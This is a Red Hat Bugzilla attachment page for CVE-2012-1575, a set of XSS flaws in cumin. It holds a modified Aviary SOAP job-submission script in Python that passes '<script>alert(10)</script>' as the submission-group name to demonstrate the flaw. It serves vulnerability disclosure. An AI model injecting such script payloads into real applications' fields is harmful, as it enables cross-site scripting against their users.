Login
[x]
Log in using an account from:
Fedora Account System
Red Hat Associate
Red Hat Customer
Or login using a Red Hat Bugzilla account
Forgot Password
Login:
Hide Forgot
Create an Account
Red Hat Bugzilla – Attachment 571988 Details for
Bug 805712
CVE-2012-1575 cumin: multiple XSS flaws
[?]
New
Simple Search
Advanced Search
My Links
Browse
Requests
Reports
Current State
Search
Tabular reports
Graphical reports
Duplicates
Other Reports
User Changes
Plotly Reports
Bug Status
Bug Severity
Non-Defaults
|
Product Dashboard
Help
Page Help!
Bug Writing Guidelines
What's new
Browser Support Policy
5.0.4.rh83 Release notes
FAQ
Guides index
User guide
Web Services
Contact
Legal
This site requires JavaScript to be enabled to function correctly, please enable it.
Aviary submit script, referenced from the pdf
modified_submit.py (text/x-python), 2.63 KB, created by
Trevor McKay
on 2012-03-22 12:41:54 UTC
(
hide
)
Description:
Aviary submit script, referenced from the pdf
Filename:
MIME Type:
Creator:
Trevor McKay
Created:
2012-03-22 12:41:54 UTC
Size:
2.63 KB
patch
obsolete
>#!/usr/bin/env python ># -*- coding: utf-8 -*- ># ># Copyright 2009-2011 Red Hat, Inc. ># ># Licensed under the Apache License, Version 2.0 (the "License"); ># you may not use this file except in compliance with the License. ># You may obtain a copy of the License at ># ># http://www.apache.org/licenses/LICENSE-2.0 ># ># Unless required by applicable law or agreed to in writing, software ># distributed under the License is distributed on an "AS IS" BASIS, ># WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ># See the License for the specific language governing permissions and ># limitations under the License. ># > ># uses Suds - https://fedorahosted.org/suds/ >from suds import * >from suds.client import Client >from sys import exit, argv >import time, pwd, os, logging >from aviary.util import * > >plugins = [] ># NOTE: Suds has had little support for adding attributes ># to the request body until 0.4.1 ># uncomment the following to enable the allowOverrides attribute > >#from suds.plugin import MessagePlugin >#from suds.sax.attribute import Attribute >#class OverridesPlugin(MessagePlugin): > #def marshalled(self, context): > #sj_body = context.envelope.getChild('Body')[0] > #sj_body.attributes.append(Attribute("allowOverrides", "true")) >#plugins=[OverridesPlugin()] > >uid = pwd.getpwuid(os.getuid())[0] >if not uid: > uid = "condor" > ># change these for other default locations and ports >wsdl = 'file:/var/lib/condor/aviary/services/job/aviary-job.wsdl' > >parser = build_basic_parser('Submit a sample job remotely via SOAP.','http://localhost:9090/services/job/submitJob') >(opts,args) = parser.parse_args() > >client = create_suds_client(opts,wsdl,plugins) >client.set_options(location=opts.url) > ># add specific requirements here >req1 = client.factory.create("ns0:ResourceConstraint") >req1.type = 'OS' >req1.value = 'LINUX' >reqs = [ req1 ] > ># add extra Condor-specific or custom job attributes here >extra1 = client.factory.create("ns0:Attribute") >extra1.name = 'RECIPE' >extra1.type = 'STRING' >extra1.value = '"SECRET_SAUCE"' >extras = [ extra1 ] > >try: > result = client.service.submitJob( \ > # the executable command > '/bin/sleep', \ > # some arguments for the command > '120', \ > # the submitter name > uid, \ > # initial working directory wwhere job will execute > '/tmp', \ > # an arbitrary string identifying the target submission group > '<script>alert(10)</script>', \ > # special resource requirements > reqs, \ > # additional attributes > extras > ) >except Exception, e: > print "invocation failed at: ", opts.url > print e > exit(1) > >if result.status.code != "OK": > print result.status.code,"; ", result.status.text > exit(1) > >print opts.verbose and result or result.id.job
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 805712
:
571986
|
571987
| 571988